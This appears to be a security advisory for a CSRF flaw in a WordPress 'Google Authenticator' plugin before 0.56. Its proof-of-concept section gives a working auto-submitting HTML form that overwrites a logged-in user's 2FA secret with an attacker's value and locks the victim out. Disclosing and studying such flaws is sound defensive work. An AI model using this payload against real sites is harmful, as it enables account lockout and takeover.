Google Authenticator < 0.56 – 2FA Secret Overwrite via CSRF | CVE 2026-14204

Description

The plugin does not verify a CSRF nonce when saving its two-factor setup, allowing attackers to trick a logged-in user into overwriting their own 2FA secret with an attacker-controlled value, which enables two-factor authentication and locks the victim out of their account.

Proof of Concept

The attacker hosts an auto-submitting page. GA_otp_code is rendered server-side as the current TOTP for the ATTACKER's own secret at page-load time (the victim cannot and need not produce it). When a logged-in user (any role with dashboard access, Subscriber+) loads the page, their 2FA secret is overwritten with the attacker's value and 2FA is enabled.

<html><body onload="document.forms[0].submit()">
  <form action="https://victim.example/wp-admin/admin.php?page=google_authenticator_user_page" method="POST">
    <input type="hidden" name="GA_secret"   value="KRUGS4ZANFZSA43B">
    <input type="hidden" name="GA_otp_code" value="<current TOTP for the attacker secret>">
  </form>
</body></html>

Result: the victim's googleauthenticator_secret becomes the attacker's value and 2FA is enabled. Confirmed end-to-end against both a Subscriber and an Administrator victim, who are then locked out of login (correct password rejected for an OTP only the attacker can generate; recoverable only via DB access or another admin disabling 2FA for them).